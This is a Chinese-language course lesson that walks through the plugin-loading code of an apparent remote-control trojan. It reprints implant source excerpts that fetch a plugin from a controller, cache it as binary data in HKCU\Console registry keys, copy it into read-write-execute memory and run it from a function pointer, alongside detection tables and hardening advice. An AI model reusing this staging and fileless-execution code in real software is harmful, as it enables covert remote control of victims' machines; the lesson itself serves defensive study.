13 / 52 插件与被控运行机制

第 13 课:插件化设计与模块加载

# 第 13 课:插件化设计与模块加载

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

第 12 课讲了插件化设计总览:主控端维护插件索引,被控端按版本和位数请求插件,主控端再下发 DllSendData + 插件数据

本课继续深入源码细节,重点看上线模块里的 KernelManager.cpp。这一课的主线是:

版本包 -> 本地缓存 -> 版本比较 -> 请求新插件 -> 接收插件数据 -> 写入内存 -> 写入注册表 -> Debug/Release 加载差异

这里涉及高风险实现,例如可写可执行内存、注册表二进制缓存、内存入口调用和调试加载分支。本课只做防御性讲解,帮助读者理解企业应该如何检测和加固,不提供可复用的加载、执行或规避步骤。

# 1. 本课学习目标

学完本课,你应该能回答这些问题:

问题 本课回答
KernelManager 在插件链路中做什么 接收版本和插件数据,决定是否请求、缓存和加载登录模块
为什么先读注册表 尝试复用本地缓存,减少重复请求
为什么版本不一致要请求插件 本地缓存与主控端版本不同,需要重新获取
VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 为什么高危 产生可写可执行内存,是内存执行链的重要信号
Debug 和 Release 有什么差异 Debug 尝试本地 LoadLibrary,Release 使用内存入口方式
注册表缓存如何布局 DllSendData 结构后面拼插件二进制数据
企业如何检测 关联版本包、插件大包、注册表二进制缓存、RWX 内存和未知入口调用

# 2. 本课涉及源码目录和文件

源码文件 本课关注点
主插件\上线模块\上线模块\上线模块.cpp 连接后发送 TOKEN_GETVERSION
主插件\上线模块\上线模块\KernelManager.h InfoSENDTASK、插件侧 DllSendData
主插件\上线模块\上线模块\KernelManager.cpp OnReceive、注册表缓存、VirtualAllocrunLoginDllBin、Debug/Release 加载分支
主控\Quick\MainFrm.cpp OnOpenSendVersionOnOpenSendDll 与本课链路对应
主控\Quick\macros.h 主控侧 DllSendData 和插件命令
主控\Quick\DllToShellCode.h 转换函数声明,只做风险识别

本课比第 12 课更靠近实现细节,但仍然只从安全工程角度读源码。

# 3. 模块加载细节地图

先看总体流程。

第 13 课图 1:模块加载细节

上线模块连接主控端后,不是直接加载所有功能,而是先做版本协商:

  1. 发送版本请求。
  2. 尝试读取本地缓存。
  3. 比较主控端版本和缓存版本。
  4. 版本不一致时请求新插件。
  5. 收到插件数据后分配内存保存。
  6. 把结构体和插件数据写入注册表缓存。
  7. 进入加载线程。

这条链路的检测价值很高,因为它会在多个层面留下痕迹:网络短包、网络大包、注册表二进制数据、可执行内存、加载线程、调试输出。

# 4. 上线模块发起版本请求

第 12 课已经讲过主控端如何返回版本。本课先从对端看起。上线模块连接成功后,会发送 TOKEN_GETVERSION

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:242-255
// 防御分析注释:
// 1. Token[0] = TOKEN_GETVERSION 表示版本探测。
// 2. Token[1] 区分 x86/x64,主控端据此选择插件索引。
// 3. 很短的版本探测包是插件加载链路的起点之一。
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif

socketClient->Send(Token, 2);
socketClient->run_event_loop();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

这里要注意:

字段 含义
Token[0] 请求主控端返回版本
Token[1] 当前模块位数
CKernelManager 后续接收版本包和插件包的管理对象
run_event_loop 进入网络事件循环,等待主控端返回

防御侧可以把“连接后很短版本包 + 后续插件请求”作为关联信号,而不是孤立看单个数据包。

# 5. 完整请求链

下面这张时序图把主控端和对端连起来:

第 13 课图 2:完整请求链

按源码可以对应到这些函数:

阶段 源码位置
发送 TOKEN_GETVERSION 主插件\上线模块\上线模块\上线模块.cpp:247
主控端返回版本 主控\Quick\MainFrm.cpp:2342-2364
对端比较版本 主插件\上线模块\上线模块\KernelManager.cpp:128-170
对端请求插件 主插件\上线模块\上线模块\KernelManager.cpp:171-190
主控端下发插件 主控\Quick\MainFrm.cpp:2369-2435
对端缓存和加载 主插件\上线模块\上线模块\KernelManager.cpp:204-227

这个链路适合企业做检测关联:

短版本包 -> 插件请求 -> 大块二进制 -> REG_BINARY 缓存 -> RWX 内存 -> 加载线程

# 6. KernelManager 的关键全局状态

KernelManager.cpp 里有两个非常关键的静态变量。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:8-17
// 防御分析注释:
// 1. g_loginDllBinMD5 是注册表缓存使用的值名。
// 2. g_dllSendData 保存当前插件元数据。
// 3. g_loginDllData 保存插件数据的内存地址。
// 4. 这些全局状态把网络包、注册表缓存和内存加载串在一起。
TCHAR* g_loginDllBinMD5 = _T("d33f351a4aeea5e608853d1a56661059");
extern Info MyInfo;

typedef void(__stdcall* load)();
static DllSendData g_dllSendData = {};
static LPVOID g_loginDllData = NULL;
1
2
3
4
5
6
7
8
9
10
11
12

字段解释:

名称 作用 防御关注
g_loginDllBinMD5 注册表值名 固定字符串、缓存定位线索
g_dllSendData 保存插件元数据 插件名、位数、大小、版本
g_loginDllData 保存插件数据指针 内存数据和执行入口风险
load 函数指针类型 内存入口调用相关风险

新手要理解:这里已经不是普通“读一个 DLL 文件”的流程,而是把网络收到的二进制数据放到内存和注册表缓存中,再由加载线程处理。

# 7. 版本包进入 OnReceive

CKernelManager::OnReceive 是本课最重要的函数。它先过滤心跳,再判断包长度。如果包长度是 101 字节,就按“版本包”处理。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:124-137
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 被直接忽略,不进入插件版本逻辑。
// 2. payloadSize = 100,对应主控端返回的版本字符串长度。
// 3. nSize == 101 时,代码认为这是主控端返回的版本包。
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;

    const int payloadSize = 100;
    if (nSize == payloadSize + 1)
    {
        // 版本包处理逻辑
    }
    else
    {
        // 插件数据包处理逻辑
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

这里有一个典型协议特征:

条件 解释
lpBuffer[0] == TOKEN_HEARTBEAT 心跳包
nSize == 101 版本包
其他长度 被当作插件数据包

安全风险在于:仅靠长度区分数据类型比较脆弱。合法软件应在包头里加入明确类型、版本、长度、完整性校验和签名验证。

# 8. 读取注册表缓存

收到版本包后,代码先尝试从注册表读取之前缓存的插件数据。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:137-160
// 防御分析注释:
// 1. x64 使用 Console\1,x86 使用 Console\0。
// 2. 缓存值类型是 REG_BINARY。
// 3. 缓存数据前部是 DllSendData,后面是插件二进制。
// 4. 读取缓存后使用 PAGE_EXECUTE_READWRITE 分配内存,这是高风险内存信号。
HKEY hKEY;
DWORD dwType = REG_BINARY;
DWORD binsize = 0;
#ifdef _WIN64
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("Console\\1"), 0, KEY_READ, &hKEY))
{
#else
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("Console\\0"), 0, KEY_READ, &hKEY))
{
#endif
    RegQueryValueEx(hKEY, g_loginDllBinMD5, NULL, &dwType, NULL, &binsize);
    if (binsize > sizeof(DllSendData))
    {
        char* bindata = new char[binsize];
        ZeroMemory(bindata, binsize);
        if (::RegQueryValueEx(hKEY, g_loginDllBinMD5, 0, &dwType, (LPBYTE)bindata, &binsize) == ERROR_SUCCESS)
        {
            memcpy(&g_dllSendData, bindata, sizeof(DllSendData));
            g_loginDllData = (LPVOID)VirtualAlloc(0, g_dllSendData.DataSize,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            ::memcpy(g_loginDllData, bindata + sizeof(DllSendData), g_dllSendData.DataSize);
        }
    }
    ::RegCloseKey(hKEY);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 9. 注册表缓存布局

缓存数据的布局可以画成这样:

第 13 课图 3:注册表缓存布局

抽象结构:

[ DllSendData ][ 插件二进制数据 ]
1

对应源码里写缓存的地方:

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:209-226
// 防御分析注释:
// 1. writeregeditsize = sizeof(DllSendData) + DataSize。
// 2. 前半段写插件元数据,后半段写插件二进制。
// 3. x64 写 HKCU\Console\1,x86 写 HKCU\Console\0。
// 4. 合法软件不应把未签名可执行载荷直接缓存为 REG_BINARY。
int writeregeditsize = sizeof(DllSendData) + g_dllSendData.DataSize;
char* writeregeditbuffer = new char[writeregeditsize];
if (writeregeditbuffer)
{
    memcpy(writeregeditbuffer, &g_dllSendData, sizeof(DllSendData));
    memcpy(writeregeditbuffer + sizeof(DllSendData),
        g_loginDllData, g_dllSendData.DataSize);

    HKEY hKey;
#ifdef _WIN64
    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\1"), &hKey))
#else
    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\0"), &hKey))
#endif
    {
        ::RegDeleteValue(hKey, g_loginDllBinMD5);
        ::RegSetValueEx(hKey, g_loginDllBinMD5, 0, REG_BINARY,
            (unsigned char*)writeregeditbuffer, writeregeditsize);
    }
    ::RegCloseKey(hKey);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

企业检测建议:

检测点 说明
监控 RegSetValueEx 写入大块 REG_BINARY 尤其是用户路径下异常键
关联写入前后的网络大包 插件数据通常来自网络
关联写入后的内存分配 缓存后可能进入加载链
检查数据头部结构 前段可能对应 DllSendData 字段

# 10. 版本比较和请求新插件

读取缓存后,代码比较主控端发来的版本和缓存中的版本。如果不一致,就清理旧缓存内存,并请求新的插件数据。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:162-191
// 防御分析注释:
// 1. lpBuffer + 1 是主控端返回的版本字符串。
// 2. g_dllSendData.szVersion 是本地缓存版本。
// 3. 版本不一致时释放旧内存,然后构造 TOKEN_SENDLL 请求。
// 4. 请求包中携带 DllSendData,插件名为 登录模块.dll_bin。
if (_tcscmp((TCHAR*)(lpBuffer + 1), g_dllSendData.szVersion) != 0)
{
    if (g_loginDllData)
    {
        VirtualFree(g_loginDllData, 0, MEM_RELEASE);
        g_loginDllData = NULL;
    }

    DllSendData loginModuleDllSendData =
    {
        TASK_MAIN,
        {_T('登'), _T('录'), _T('模'), _T('块'), _T('.'), _T('d'), _T('l'), _T('l'), _T('_'), _T('b'), _T('i'), _T('n'), 0},
#ifdef _WIN64
        TRUE,
#else
        FALSE,
#endif
        0,
        {},
        {},
    };

    DWORD dwOffset = sizeof(DllSendData) + 1;
    LPBYTE lpBuffer = new BYTE[dwOffset];
    lpBuffer[0] = TOKEN_SENDLL;
    ::memcpy(lpBuffer + 1, &loginModuleDllSendData, dwOffset - 1);
    Send((LPBYTE)lpBuffer, dwOffset);
    SAFE_DELETE(lpBuffer);
}
else
{
    runLoginDllBin();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

这段代码的防御含义要写进源码注释里看:登录模块.dll_bin 是固定插件名线索,TOKEN_SENDLL 是插件请求信号;版本不一致会触发网络请求,版本一致则可能直接加载缓存。企业检测不能只看网络,如果缓存已存在,后续可能不再请求大包,而是直接从注册表恢复后加载。

# 11. 接收新插件数据

如果收到的不是 101 字节版本包,代码把它当作插件数据包处理。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:202-208
// 防御分析注释:
// 1. 从 lpBuffer + 1 解析 DllSendData,跳过第 1 个命令字节。
// 2. 使用 DataSize 分配 PAGE_EXECUTE_READWRITE 内存。
// 3. 将 DllSendData 后面的数据复制到 g_loginDllData。
// 4. 这里必须严格校验 nSize、DataSize 和结构体大小,否则存在越界风险。
::memcpy(&g_dllSendData, lpBuffer + 1, sizeof(DllSendData));
g_loginDllData = (LPVOID)VirtualAlloc(0, g_dllSendData.DataSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
::memcpy(g_loginDllData,
    lpBuffer + 1 + sizeof(DllSendData),
    g_dllSendData.DataSize);
1
2
3
4
5
6
7
8
9
10
11
12

这个片段是企业安全最需要关注的部分之一。

风险 说明
可写可执行内存 PAGE_EXECUTE_READWRITE 是高风险内存权限
长度字段控制分配 DataSize 来自网络包结构体
二进制直接复制 插件数据进入内存
后续可被调用 g_loginDllData 后面进入加载线程

合法软件应当避免这种设计。更稳妥的做法是:签名插件落在受控目录、校验签名和哈希、只使用必要内存权限、加载前做权限审批和日志记录。

# 12. 内存布局

这段逻辑可以抽象成下面的内存布局:

第 13 课图 5:内存布局

数据从网络缓冲区进入 DllSendDatag_loginDllData

网络缓冲区:
[ command ][ DllSendData ][ binary data ]

内存中:
g_dllSendData = DllSendData
g_loginDllData = VirtualAlloc(DataSize, PAGE_EXECUTE_READWRITE)
1
2
3
4
5
6

检测时可以关注:

检测点 解释
VirtualAlloc 权限 是否出现 RWX
分配大小 是否接近网络大包大小
内存内容 是否包含 PE、shellcode 或异常代码段特征
调用链 分配后是否创建线程或进入函数指针调用
进程上下文 是否是未知或不应具备插件能力的进程

# 13. 启动加载线程

收到插件数据并写入缓存后,会调用 runLoginDllBin

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:108-119
// 防御分析注释:
// 1. runLoginDllBin 创建工作线程,入口是 Loop_DllManager。
// 2. 启动后 Sleep,再断开当前连接。
// 3. 防御侧可关联线程创建、连接断开和后续模块加载行为。
void CKernelManager::runLoginDllBin()
{
    hWorker = (HANDLE)_beginthreadex(NULL,
        0,
        Loop_DllManager,
        (void*)this,
        0,
        NULL);

    Sleep(3000);
    this->Disconnect();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

这里的检测含义也应落到代码注释里:_beginthreadex 启动加载线程,Loop_DllManager 是线程入口,Sleep(3000) 是固定等待,Disconnect 表示加载后断开当前连接。单独一个线程创建不一定恶意,但如果它和前面的插件大包、RWX 内存、注册表缓存连续出现,风险就显著升高。

# 14. 加载前配置替换

加载线程进入后,先查找登录模块里的配置标记,并用当前 MyInfo 替换。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:19-31
// 防御分析注释:
// 1. memfind 在插件数据中查找 "denglupeizhi" 标记。
// 2. 找到后把 MyInfo 写入插件数据。
// 3. 这说明插件数据在加载前会被动态打补丁。
// 4. 防御侧可关注内存中固定配置标记和结构体覆盖行为。
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
    CKernelManager* pThis = (CKernelManager*)pVoid;
    DWORD dwOffset = -1;
    dwOffset = memfind((char*)g_loginDllData, "denglupeizhi",
        g_dllSendData.DataSize, 0);
    if (dwOffset != -1)
        memcpy((char*)g_loginDllData + dwOffset, (char*)&MyInfo, sizeof(Info));

    // 后续进入加载分支
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

这类“加载前修改内存中的配置结构”是样本分析常见线索。企业侧做内存取证时,可以查找固定标记、配置结构、地址端口、版本、分组、备注等字段。

# 15. 写入运行配置

加载线程还会把 MyInfo 写到注册表。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:31-37
// 防御分析注释:
// 1. 代码把 MyInfo 写入 HKLM\SOFTWARE 下的 IpDates_info。
// 2. 这是配置落地行为,企业可通过注册表监控发现。
// 3. 合法软件应明确配置路径、权限和审计记录,不应隐藏写入。
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE"), 0,
    KEY_WOW64_64KEY | KEY_SET_VALUE, &hKey);
::RegDeleteValue(hKey, _T("IpDates_info"));
::RegSetValueEx(hKey, _T("IpDates_info"), 0, REG_BINARY,
    (unsigned char*)&MyInfo, sizeof(Info));
::RegCloseKey(hKey);
1
2
3
4
5
6
7
8
9
10
11
12

注意区分两类注册表写入:

写入内容 位置 作用
插件缓存 HKCU\Console\0/1 缓存 DllSendData + 插件数据
运行配置 HKLM\SOFTWARE\IpDates_info 保存 Info 配置

检测时不要只搜一个键。应该把“配置写入”和“插件缓存写入”分别纳入规则。

# 16. Debug / Release 加载差异

这一课最重要的对照点是 Debug 和 Release 的加载方式。

第 13 课图 4:Debug / Release 差异

Debug 分支尝试从本地磁盘加载 DLL,便于开发调试。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:57-83
// 防御分析注释:
// 1. Debug 模式把 xxx.dll_bin 转成 xxx.dll 文件名。
// 2. 使用 LoadLibrary 加载本地 DLL,并尝试查找 run 导出函数。
// 3. 这是调试便利路径,不代表安全设计。
// 4. 企业检测可关注异常目录下 LoadLibrary 和 GetProcAddress("run")。
#ifdef _DEBUG
wchar_t szLocalDllName[MAX_PATH] = { 0 };
wcscpy_s(szLocalDllName, ARRAYSIZE(szLocalDllName), g_dllSendData.DllName);
::PathRemoveExtension(szLocalDllName);
wcscat_s(szLocalDllName, ARRAYSIZE(szLocalDllName), L".dll");

HMODULE hDllModule = ::LoadLibrary(szLocalDllName);
if (hDllModule != NULL)
{
    FARPROC runFunc = ::GetProcAddress(hDllModule, "run");
    if (runFunc != NULL)
    {
        runFunc();
    }
}
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

Release 分支则走内存入口方式。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:88-92
// 防御分析注释:
// 1. Release 分支没有走 LoadLibrary 文件加载路径。
// 2. g_loginDllData 是前面 VirtualAlloc 得到的内存地址。
// 3. 把内存地址当作函数入口调用,是典型高风险内存执行行为。
// 4. 本教程只说明检测意义,不提供复现或改造步骤。
#else
// release版本使用shellcode的方法调用各个模块中的DllMain函数或者导出函数
load lpproc = ((load(*)())g_loginDllData)();
#endif
1
2
3
4
5
6
7
8
9
10

对比表:

模式 加载方式 防御关注
Debug LoadLibrary 本地 DLL 异常 DLL 路径、GetProcAddress("run")
Release 内存入口调用 RWX 内存、无文件代码、函数指针调用

新手要特别注意:调试模式更容易看懂,但发布模式更接近真实风险链。读源码时要同时看两个分支。

# 17. 下一课:插件 DLL 内存加载

到这里,第 13 课已经把插件数据的来源、版本比较、注册表缓存、配置替换和加载线程入口讲清楚了。真正的 MemoryModule 内存 PE 加载器细节,从第 14 课开始单独展开。

本课只保留一条主线:

COMMAND_DLLMAIN
  -> 命中缓存或请求主控下发插件数据
  -> COMMAND_SENDLL 接收 DllSendData + DLL 数据
  -> 写入 HKCU\Console\0/1 缓存
  -> _beginthreadex 进入 Loop_DllManager
  -> 第 14 课继续分析 MemoryLoadLibrary
1
2
3
4
5
6

这样拆分之后,新手阅读会更连续:先知道插件数据从哪里来,再进入 PE 头校验、节区映射、重定位、导入表解析、节权限修正、入口调用这些更底层的加载细节。

# 18. 傀儡进程分支

加载线程里还有一个 m_bpuppet 分支,会进入 buildremoteprocess

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:38-55
// 防御分析注释:
// 1. m_bpuppet 为真时,会进入远程进程构建逻辑。
// 2. 这属于高风险执行链,本课不展开 buildremoteprocess 的具体实现。
// 3. 防御侧只需要把它归入进程创建、远程内存、异常线程等检测方向。
if (pThis->m_bpuppet)
{
    PROCESS_INFORMATION pi = {};
    while (true)
    {
        if (buildremoteprocess((byte*)g_loginDllData, g_dllSendData.DataSize, &pi))
        {
            // 后续监控目标进程是否仍在运行
        }
    }
}
else
{
    // Debug / Release 加载分支
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

这里不适合写操作细节。企业侧只需要知道:如果配置打开了这类分支,应重点监控进程创建、远程线程、异常内存映射和父子进程关系。

# 19. 检测链路

把前面的源码连起来,检测链路可以总结为:

第 13 课图 6:检测链路

# 19.1 网络侧

检测点 说明
TOKEN_GETVERSION 短包 插件版本探测
TOKEN_SENDLL 请求 对端请求插件数据
COMMAND_SENDLL 大包 主控端发送插件数据
版本一致时无大包 可能从缓存直接加载
加载后断开 runLoginDllBin 后主动断开当前连接

# 19.2 注册表侧

检测点 说明
HKCU\Console\0 / HKCU\Console\1 插件缓存位置
固定 MD5 值名 g_loginDllBinMD5
大块 REG_BINARY DllSendData + 插件数据
HKLM\SOFTWARE\IpDates_info 运行配置写入
写入后立即加载 注册表和内存行为相关联

# 19.3 内存侧

检测点 说明
VirtualAlloc RWX PAGE_EXECUTE_READWRITE
网络数据复制到可执行内存 memcpy(g_loginDllData, ...)
内存数据被补配置 查找并覆盖 denglupeizhi
内存入口调用 函数指针调用内存地址
工作线程启动 _beginthreadex -> Loop_DllManager

# 19.4 进程侧

检测点 说明
Debug 模式加载本地 DLL LoadLibraryGetProcAddress("run")
Release 模式无文件执行 内存入口调用
傀儡进程分支 进程创建和异常父子关系
固定等待和断开 Sleep(3000) 后断开连接

# 20. 合法软件加固建议

如果要实现合法插件加载,应避免本课中的高风险设计,至少做这些改造:

改造项 建议
插件存储 插件放在受控目录,不用隐蔽注册表二进制缓存
签名校验 加载前验证厂商签名、证书链和撤销状态
哈希校验 使用 SHA-256 或更强算法,记录在受保护清单中
内存权限 不使用 RWX;写入和执行权限分阶段最小化
协议头 明确类型、版本、长度、序列号和完整性校验
参数校验 校验 DataSize、结构体大小、插件名和架构
权限审批 高危插件需用户确认或审批
审计日志 记录插件名、版本、哈希、操作者、目标资产、加载结果
用户可见性 涉及隐私采集时必须有可见提示
失败阻断 签名失败、版本不兼容、长度异常时拒绝加载

# 21. 新手阅读路线

读第 13 课相关源码时,建议按这个顺序:

  1. 先读 上线模块.cppTOKEN_GETVERSION 的发送。
  2. 再读 KernelManager::OnReceive 的长度分支。
  3. 看版本包分支如何读注册表缓存。
  4. 看版本比较不一致时如何构造 TOKEN_SENDLL
  5. 看插件数据包分支如何解析 DllSendData
  6. VirtualAllocmemcpy 如何把插件数据放进内存。
  7. 看注册表缓存如何写入。
  8. runLoginDllBin 如何创建加载线程。
  9. 最后看 Debug/Release 分支差异。

这样读会比较连续,不会一开始就跳进高风险加载函数。

# 22. 常见误区

误区 正确认识
版本一致就没有风险 版本一致可能直接加载本地缓存
注册表缓存只是普通配置 这里缓存的是结构体和插件二进制数据
PAGE_EXECUTE_READWRITE 只是方便 这是内存执行链的重要高危信号
Debug 路径代表真实运行 Release 分支更接近真实风险链
只看 LoadLibrary 就够 Release 可能完全不走文件 DLL 加载
MD5 可以证明可信 MD5 不能替代签名和完整性保护
长度字段可信 来自网络或缓存的数据长度必须严格校验

# 23. 本课小结

本课深入讲了插件化加载链路:

  1. 上线模块连接后发送 TOKEN_GETVERSION
  2. KernelManager::OnReceive 用包长度区分版本包和插件数据包。
  3. 版本包分支会读取 HKCU\Console\0/1REG_BINARY 缓存。
  4. 缓存布局是 DllSendData + 插件二进制数据
  5. 版本不一致时,对端发送 TOKEN_SENDLL 请求新插件。
  6. 收到插件数据后,代码用 VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 分配内存。
  7. 插件数据会被写入内存和注册表缓存。
  8. runLoginDllBin 创建工作线程进入加载逻辑。
  9. Debug 分支走 LoadLibrary + GetProcAddress("run"),Release 分支走内存入口调用。
  10. 企业检测要关联网络包、注册表缓存、RWX 内存、线程启动和未知入口调用。

下一课会讲第 14 课:插件 DLL 内存加载,把视角从“插件数据如何到达加载线程”推进到 MemoryModule 如何校验 PE、映射节区、修正重定位、解析导入表和调用插件入口。

# 24. 合法练习题

  1. 只阅读源码,画出 TOKEN_GETVERSION -> TOKEN_SENDLL -> COMMAND_SENDLL 的请求链。
  2. 整理 KernelManager::OnReceive 中版本包分支和插件数据包分支的不同处理。
  3. 说明为什么 HKCU\Console\0HKCU\Console\1 要分开看。
  4. 画出注册表缓存的二进制布局:DllSendData 在前,插件数据在后。
  5. 写出 5 个 PAGE_EXECUTE_READWRITE 在企业检测中的关联条件。
  6. 对比 Debug 和 Release 分支,说明它们分别会留下哪些主机侧证据。
  7. 设计一条检测规则思路:网络大包后 10 秒内出现大块 RWX 内存和注册表二进制写入。
  8. 设计一个合法插件加载流程,要求包含签名校验、权限审批、日志记录和失败阻断。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>